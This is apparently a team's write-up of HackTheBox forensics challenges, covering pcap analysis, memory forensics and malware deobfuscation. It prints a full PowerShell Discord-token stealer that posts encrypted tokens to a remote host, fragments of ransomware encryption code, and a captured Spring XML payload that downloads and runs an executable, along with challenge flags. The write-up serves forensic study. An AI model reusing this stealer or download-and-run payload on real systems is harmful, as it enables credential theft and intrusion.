forensics

It Has Begun

Solved by : Starry-Lord

We only get a script.sh for this challenge

script.sh content

Running this file will actually kill your current user session authentication. Upon closer examination of what it does we can see that the host name for the ssh key looks awfully suspicious, and that a base64 string is being executed in bash at the end.

Reverse 1 and decode 2 for the flag:

HTB{w1ll_y0u_St4nd_y0uR_Gr0uNd!!}

Urgent

Solved by : Starry-Lord

read mail

This time it comes as an email file, along with an attachment called onlineform.js which is almost fully urlencoded:

onlineform.html b64 encoded

VBSript hidden into an online html form

HTB{4n0th3r_d4y_4n0th3r_ph1shi1ng_4tt3mpT}

An Unusual sighting

Solved by : Starry-Lord

This challenge came with 2 interesting files which allowed to answer the questions asked at the docker url.

Unusual hour for a login

We can see a connection at around 4:00 AM which is not the usual legitimate users’ working hours.

flag

HTB{B3sT_0f_luck_1n_th3_Fr4y!!}

Phreaky

Solved by : thewhiteh4t, Starry-Lord

The manual way: This challenge comes with a packet capture file (.pcap) so wireshark it is.

attachment in multiple parts

From this we can see that this b64 can be unziped with the passwords coming with each stream. We then need retrieve all 15 of them and use the corresponding unzip password.

We can copy all 15 parts and then merge them together to get the final pdf, with

cat file > phreaks_plan.pdf
cat file 2 >> phreaks_plan.pdf

retrieve all parts

Automated solution using a python script :

    from scapy.all import *
    from zipfile import ZipFile
    from base64 import b64decode
    from pypdf import PdfReader
    
    tcp_streams = {}
    flag_pdf = 'flag.pdf'
    flag_pdf_bytes = bytes()
    
    pkts = rdpcap('./phreaky.pcap')
    for pkt in pkts:
        if not pkt.haslayer(TCP):
            continue
        if not hasattr(pkt[TCP], 'load'):
            continue
        src_ip = pkt[IP].src
        src_port = pkt[TCP].sport
        dst_ip = pkt[IP].dst
        dst_port = pkt[TCP].dport
        tcp_tuple = (src_ip, src_port, dst_ip, dst_port)
    
        if tcp_tuple in tcp_streams:
            tcp_streams[tcp_tuple] += pkt[TCP].load
        else:
            tcp_streams[tcp_tuple] = pkt[TCP].load
    
    for stream_key, stream_data in tcp_streams.items():
        if b'Secure File Transfer' not in stream_data:
            continue
        data = stream_data.decode('utf-8', errors='ignore')
    
        if 'Content-Type: multipart/mixed;' not in data:
            continue
    
        parts = data.split('Content-Type:')[1:]
    
        for part in parts:
            if 'Password' in part:
                password = part.split('Password:')[1].split('\r\n\r\n')[0].strip()
            if 'Content-Disposition: attachment;' in part:
                filename = part.split('filename*1="')[1].split('.zip"')[0] + '.zip'
                attachment = part.split('\r\n\r\n')[1].replace('\r\n', '').strip()
                print(f'Found : {filename} -> Password : {password}')
                with open(filename, 'wb') as outfile:
                    outfile.write(b64decode(attachment))
                with ZipFile(filename) as zf:
                    zip_out = zf.infolist()[0].filename
                    pswd = password.encode()
                    zf.extractall(pwd=pswd)
                    print(f'Extracted : {zip_out}')
    
                with open(zip_out, 'rb') as pdf_part:
                    flag_pdf_bytes += pdf_part.read()
    
    with open(flag_pdf, 'wb') as flag_out:
        flag_out.write(flag_pdf_bytes)
        print(f'\nFinal PDF Saved : {flag_pdf}')
    
    reader = PdfReader(flag_pdf)
    num_pages = len(reader.pages)
    pdf_text = ''
    for num in range(num_pages):
        curr_page = reader.pages[num]
        pdf_text += curr_page.extract_text()
    
    for line in pdf_text.split('\n'):
        if 'HTB{' in line:
            flag = 'HTB' + line.split('HTB')[1].split('}')[0] + '}'
            print(flag)

HTB{Th3Phr3aksReadyT0Att4ck}

Fake Boost

Solved by : Starry-lord

For this one again we get a pcap file, which contains HTTP objects we can look into:

HTTP Objects

Extracting freediscordnitro, we can see the content is obfuscated like we expect a malware would be.

freediscordnitro

working on the content of the file, we can now reverse this long string above, and then decode it to read the first part of the flag

    $URL = "http://192.168.116.135:8080/rj1893rj1joijdkajwda"
    
    function Steal {
        param (
            [string]$path
        )
    
        $tokens = @()
    
        try {
            Get-ChildItem -Path $path -File -Recurse -Force | ForEach-Object {
                
                try {
                    $fileContent = Get-Content -Path $_.FullName -Raw -ErrorAction Stop
    
                    foreach ($regex in @('[\w-]{26}\.[\w-]{6}\.[\w-]{25,110}', 'mfa\.[\w-]{80,95}')) {
                        $tokens += $fileContent | Select-String -Pattern $regex -AllMatches | ForEach-Object {
                            $_.Matches.Value
                        }
                    }
                } catch {}
            }
        } catch {}
    
        return $tokens
    }
    
    function GenerateDiscordNitroCodes {
        param (
            [int]$numberOfCodes = 10,
            [int]$codeLength = 16
        )
    
        $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
        $codes = @()
    
        for ($i = 0; $i -lt $numberOfCodes; $i++) {
            $code = -join (1..$codeLength | ForEach-Object { Get-Random -InputObject $chars.ToCharArray() })
            $codes += $code
        }
    
        return $codes
    }
    
    function Get-DiscordUserInfo {
        [CmdletBinding()]
        Param (
            [Parameter(Mandatory = $true)]
            [string]$Token
        )
    
        process {
            try {
                $Headers = @{
                    "Authorization" = $Token
                    "Content-Type" = "application/json"
                    "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36"
                }
    
                $Uri = "https://discord.com/api/v9/users/@me"
    
                $Response = Invoke-RestMethod -Uri $Uri -Method Get -Headers $Headers
                return $Response
            }
            catch {}
        }
    }
    
    function Create-AesManagedObject($key, $IV, $mode) {
        $aesManaged = New-Object "System.Security.Cryptography.AesManaged"
    
        if ($mode="CBC") { $aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC }
        elseif ($mode="CFB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CFB}
        elseif ($mode="CTS") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CTS}
        elseif ($mode="ECB") {$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB}
        elseif ($mode="OFB"){$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::OFB}
    
    
        $aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
        $aesManaged.BlockSize = 128
        $aesManaged.KeySize = 256
        if ($IV) {
            if ($IV.getType().Name -eq "String") {
                $aesManaged.IV = [System.Convert]::FromBase64String($IV)
            }
            else {
                $aesManaged.IV = $IV
            }
        }
        if ($key) {
            if ($key.getType().Name -eq "String") {
                $aesManaged.Key = [System.Convert]::FromBase64String($key)
            }
            else {
                $aesManaged.Key = $key
            }
        }
        $aesManaged
    }
    
    function Encrypt-String($key, $plaintext) {
        $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext)
        $aesManaged = Create-AesManagedObject $key
        $encryptor = $aesManaged.CreateEncryptor()
        $encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
        [byte[]] $fullData = $aesManaged.IV + $encryptedData
        [System.Convert]::ToBase64String($fullData)
    }
    
    Write-Host "
    ______              ______ _                       _   _   _ _ _               _____  _____  _____   ___ 
    |  ___|             |  _  (_)                     | | | \ | (_) |             / __  \|  _  |/ __  \ /   |
    | |_ _ __ ___  ___  | | | |_ ___  ___ ___  _ __ __| | |  \| |_| |_ _ __ ___   `' / /'| |/' |`' / /'/ /| |
    |  _| '__/ _ \/ _ \ | | | | / __|/ __/ _ \| '__/ _` | | . ` | | __| '__/ _ \    / /  |  /| |  / / / /_| |
    | | | | |  __/  __/ | |/ /| \__ \ (_| (_) | | | (_| | | |\  | | |_| | | (_) | ./ /___\ |_/ /./ /__\___  |
    \_| |_|  \___|\___| |___/ |_|___/\___\___/|_|  \__,_| \_| \_/_|\__|_|  \___/  \_____/ \___/ \_____/   |_/
                                                                                                             
                                                                                                             "
    Write-Host "Generating Discord nitro keys! Please be patient..."
    
    $local = $env:LOCALAPPDATA
    $roaming = $env:APPDATA
    $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
    
    $paths = @{
        'Google Chrome' = "$local\Google\Chrome\User Data\Default"
        'Brave' = "$local\BraveSoftware\Brave-Browser\User Data\Default\"
        'Opera' = "$roaming\Opera Software\Opera Stable"
        'Firefox' = "$roaming\Mozilla\Firefox\Profiles"
    }
    
    $headers = @{
        'Content-Type' = 'application/json'
        'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
    }
    
    $allTokens = @()
    foreach ($platform in $paths.Keys) {
        $currentPath = $paths[$platform]
    
        if (-not (Test-Path $currentPath -PathType Container)) {continue}
    
        $tokens = Steal -path $currentPath
        $allTokens += $tokens
    }
    
    $userInfos = @()
    foreach ($token in $allTokens) {
        $userInfo = Get-DiscordUserInfo -Token $token
        if ($userInfo) {
            $userDetails = [PSCustomObject]@{
                ID = $userInfo.id
                Email = $userInfo.email
                GlobalName = $userInfo.global_name
                Token = $token
            }
            $userInfos += $userDetails
        }
    }
    
    $AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
    $payload = $userInfos | ConvertTo-Json -Depth 10
    $encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload
    
    try {
        $headers = @{
            'Content-Type' = 'text/plain'
            'User-Agent' = 'Mozilla/5.0'
        }
        Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
    }
    catch {}
    
    Write-Host "Success! Discord Nitro Keys:"
    $keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
    $keys | ForEach-Object { Write-Output $_ }

We can see this is using AES encryption on the files while making the user think its generating free discord nitro keys, as well as a part1 of the flag. It decrypted the content of the other file with using the same value for IV and for the AES key.

b64 part 2 of flag

HTB{fr33_N17r0G3n_3xp053d!_b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}

Oblique Final

Attempted by : Starry-Lord, thewhiteh4t

This challenge occupied a good 3 days of our time and taught us a new attack vector so it gets its own writeup even if it got solved too late. Everything starts with a large 4GB hiberfil.sys file. This is a hibernation file that got extracted form a laptop after it got out of battery. We managed to extract the active memory from that which gave us 6GB of memory to look through. We used volatility 2 and 3 to achieve a better understanding of the machine, until we could find interesting files in the user’s home folder, and dig them for more.

Arsenal Recon offers a 30day trial for their tools and I decided to try it for the occasion. Very intuitively, I was guided through an ui that allowed to retrieve the Active memory as a bin file. With this 6GB file in the pocket it was time to finally work our volatility skills, allowing us to enumerate everything that was running while it went into hibernation.

    volatility 2:
    
    pslist
    filescan
    mftscan
    
    volatility 3:
    
    windows.filescan.FileScan
    windows.dumpfiles.DumpFiles

With these we managed to get the exact offset for each files, as well as a list of all the 4k+ files present on the machine to choose from. We extracted a lot of stuff before correlating the information that if it was not being used when it was running, it will not be in the memory. Basing ourselves on the pslist proved a little bit more useful, but in the end all we needed was TheGame.exe and TheGame.dll, which we had for quite some time.

From this point on the competition was over but we couldn’t just not finish it.

Using ghidra, we managed to determine the exe was calling the dll. Using ILSpy, we can actually switch between C# , IL and ReadyToRun, which will actually return different outputs. So much so that nothing else than the following code in the Main function can be seen, when switching to ReadyToRun. not only does it look pretty different from the IL part, the offsets don’t seem to match, which points towards the latter being different code. This is concerning and something we have never seen before, but apparently it’s possible to make bogus code that will definitely fail and instead run the ReadyToRun part of the code.

Ready To Run as an attack vector

Extracing everything in that function with a simple hex editor, using the visible offsets, we can manage to get some valid shellcode. We know the architecture of this machine and it’s x64, from previous enumeration, which allowed us to use speakeasy to run it.

We can see this hidden shellcode is checking for a specific hostname in the windows environement variables, and we can change that by supplying a configuration file (default.json) to our command, conveniently supplied by mandiant in the github repo.

Insane flag finally

HTB{IL_st0mp1ng_4nd_h1b3rn4t10n_f0r_th3_gr4nd_f1n4l!!}

Confinement

Solved by : Starry-Lord, thewhiteh4t

https://blog.khairulazam.net/2023/12/12/extracting-quarantine-files-from-windows-defender/

https://github.com/zam89/Windows-Defender-Quarantine-File-Decryptor

    private static void Main(string[] args)
            {
                    Utility utility = new Utility();
                    PasswordHasher passwordHasher = new PasswordHasher();
                    if (Dns.GetHostName().Equals("DESKTOP-A1L0P1U", StringComparison.OrdinalIgnoreCase))
                    {
                            UID = utility.GenerateUserID();
                            utility.Write("\nUserID = " + UID, ConsoleColor.Cyan);
                            Alert alert = new Alert(UID, email1, email2);
                            email = string.Concat(new string[4] { email1, " And ", email2, " (send both)" });
                            coreEncrypter = new CoreEncrypter(passwordHasher.GetHashCode(UID, salt), alert.ValidateAlert(), alertName, email);
                            utility.Write("\nStart ...", ConsoleColor.Red);
                            Enc(Environment.CurrentDirectory);
                            Console.ReadKey();
                    }
            }
    
    static Program()
            {
                    email1 = "fraycrypter@korp.com";
                    email2 = "fraydecryptsp@korp.com";
                    alertName = "ULTIMATUM";
                    salt = "0f5264038205edfb1ac05fbb0e8c5e94";
                    softwareName = "Encrypter";
                    coreEncrypter = null;
                    UID = null;
            }
    internal class PasswordHasher
    {
            public string GetSalt()
            {
                    return Guid.NewGuid().ToString("N");
            }
    
            public string Hasher(string password)
            {
                    using SHA512CryptoServiceProvider sHA512CryptoServiceProvider = new SHA512CryptoServiceProvider();
                    byte[] bytes = Encoding.UTF8.GetBytes(password);
                    return Convert.ToBase64String(sHA512CryptoServiceProvider.ComputeHash(bytes));
            }
    
            public string GetHashCode(string password, string salt)
            {
                    string password2 = password + salt;
                    return Hasher(password2);
            }
    
            public bool CheckPassword(string password, string salt, string hashedpass)
            {
                    return GetHashCode(password, salt) == hashedpass;
            }
    }
    public CoreEncrypter(string password, string alert, string alertName, string email)
            {
                    this.password = password;
                    this.alert = alert;
                    this.alertName = alertName;
                    this.email = email;
            }
    
    public void EncryptFile(string file)
            {
                    byte[] array = new byte[65535];
                    byte[] salt = new byte[8] { 0, 1, 1, 0, 1, 1, 0, 0 };
                    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(password, salt, 4953);
                    RijndaelManaged rijndaelManaged = new RijndaelManaged();
                    rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
                    rijndaelManaged.Mode = CipherMode.CBC;
                    rijndaelManaged.Padding = PaddingMode.ISO10126;
                    rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
                    FileStream fileStream = null;
    .
    .
    .
    import hashlib
    import base64
    from Crypto.Cipher import AES
    from Crypto.Protocol.KDF import PBKDF2
    

    def decrypt_file(file_path, password):
        salt = b'\x00\x01\x01\x00\x01\x01\x00\x00'
        key_iv_bytes = PBKDF2(password, salt, dkLen=48, count=4953)
        key = key_iv_bytes[:32]  # needs to be 32
        iv = key_iv_bytes[32:]   # needs to be 16
        print(key.hex())
        print(iv.hex())
        cipher = AES.new(key, AES.MODE_CBC, iv)
        decrypted_file_path = file_path[:-5]  # Remove ".korp" extension
        with open(file_path, 'rb') as encrypted_file, open(decrypted_file_path, 'wb') as decrypted_file:
            decrypted_data = cipher.decrypt(encrypted_file.read())
            decrypted_file.write(decrypted_data)
    
        print(f"Decryption complete. Decrypted file: {decrypted_file_path}")
    
    
    def hasher(data):
        sha512 = hashlib.sha512()
        sha512.update(data.encode('utf-8'))
        return base64.b64encode(sha512.digest())
    
    
    def get_hash_code(password, salt):
        password_and_salt = password + salt
        return hasher(password_and_salt)
    
    
    password = '5K7X7E6X7V2D6F'
    salt = '0f5264038205edfb1ac05fbb0e8c5e94'
    
    hashed_password = get_hash_code(password, salt)
    
    
    file_to_decrypt = 'Applicants_info.xlsx.korp'
    password_to_use = hashed_password
    
    decrypt_file(file_to_decrypt, password_to_use)


Game Invitation

Solved by : thewhiteh4t

> echo "SFRCe200bGQwY3NfNHIzX2czdHQxbmdfVHIxY2tpMTNyfQo=" | base64 -d
> HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}

Data Siege

Solved by : thewhiteh4t

We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts.
    GET /nBISC4YJKs7j4I HTTP/1.1
    Cache-Control: no-cache
    Pragma: no-cache
    User-Agent: Java/11.0.19
    Host: 10.10.10.21:8080
    Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
    Connection: keep-alive
    
    HTTP/1.1 200 OK
    Content-Type: application/xml
    Connection: Keep-Alive
    Pragma: no-cache
    Server: Apache
    Content-Length: 651
    
    <?xml version="1.0" encoding="UTF-8"?>
    <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="WHgLtpJX" class="java.lang.ProcessBuilder" init-method="start">
      <constructor-arg>
        <list>
          <value>cmd.exe</value>
          <value>/c</value>
          <value><![CDATA[powershell Invoke-WebRequest 'http://10.10.10.21:8000/aQ4caZ.exe' -OutFile 'C:\temp\aQ4caZ.exe'; Start-Process 'c:\temp\aQ4caZ.exe']]></value>
        </list>
      </constructor-arg>
    </bean>
    </beans>
> tshark -T fields -e data -r capture.pcap > data.txt

private static string _encryptKey = "VYAemVeO3zUDTL6N62kVA";

    public static string Decrypt(string cipherText)
            {
                    try
                    {
                            string encryptKey = Constantes.EncryptKey;
                            byte[] array = Convert.FromBase64String(cipherText);
                            using (Aes aes = Aes.Create())
                            {
                                    Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(encryptKey, new byte[13]
                                    {
                                            86, 101, 114, 121, 95, 83, 51, 99, 114, 51,
                                            116, 95, 83
                                    });
                                    aes.Key = rfc2898DeriveBytes.GetBytes(32);
                                    aes.IV = rfc2898DeriveBytes.GetBytes(16);
                                    using MemoryStream memoryStream = new MemoryStream();
                                    using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
                                    {
                                            cryptoStream.Write(array, 0, array.Length);
                                            cryptoStream.Close();
                                    }
                                    cipherText = Encoding.Default.GetString(memoryStream.ToArray());
                            }
                            return cipherText;
                    }
                    catch (Exception ex)
                    {
                            Console.WriteLine(ex.Message);
                            Console.WriteLine("Cipher Text: " + cipherText);
                            return "error";
                    }
            }
    #!/usr/bin/env python3
    
    import binascii
    from base64 import b64decode
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
    from Crypto.Protocol.KDF import PBKDF2
    
    with open('data.txt') as datafile:
            hex_lines = datafile.readlines()
    
    
    def derive_key_and_iv(password, salt):
            key_iv_bytes = PBKDF2(password, salt, dkLen=48)
            key = key_iv_bytes[:32]
            iv = key_iv_bytes[32:]
            return key, iv
    
    
    encryption_key = "VYAemVeO3zUDTL6N62kVA"
    salt = 'Very_S3cr3t_S'
    key, iv = derive_key_and_iv(encryption_key.encode(), salt)
    
    
    def decrypt(cipher_text, key, iv):
            cipher_text = b64decode(cipher_text)
            cipher = AES.new(key, AES.MODE_CBC, iv)
            decoded_msg = unpad(cipher.decrypt(cipher_text), AES.block_size).decode()
            return decoded_msg
    
    
    for hex_line in hex_lines:
            if len(hex_line) > 3:
                    enc_cipher_text = binascii.unhexlify(hex_line.strip()).replace(b'24\xa7', b'').replace(b'88\xa7', b'').replace(b'44\xa7', b'').replace(b'64\xa7', b'').replace(b'620\xa7', b'')
                    # print('-->', binascii.unhexlify(hex_line.strip()))
                    try:
                            print(decrypt(enc_cipher_text, key, iv))
                    except Exception:
                            pass

-> HTB{c0mmun1c4710n5
-> _h45_b33n_r357
-> 0r3d_1n_7h3_h34dqu4r73r5}

HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}

Pursue the tracks

Solved by : thewhiteh4t

To get the flag, you need to answer the questions from the docker instance.

Q1. Files are related to two years, which are those?
> 2023,2024

Q2. There are some documents, which is the name of the first file written?
> Final_Annual_Report.xlsx

Q3. Which file was deleted?
> Marketing_Plan.xlsx

Q4. How many of them have been set in Hidden mode?
> 1

Q5. Which is the filename of the important TXT file that was created?
> credentials.txt

Q6. A file was also copied, which is the new filename?
> Financial_Statement_draft.xlsx

Q7. Which file was modified after creation?
> Project_Proposal.pdf

Q8. What is the name of the file located at record number 45?
> Annual_Report.xlsx

Q9. What is the size of the file located at record number 40?
> 57344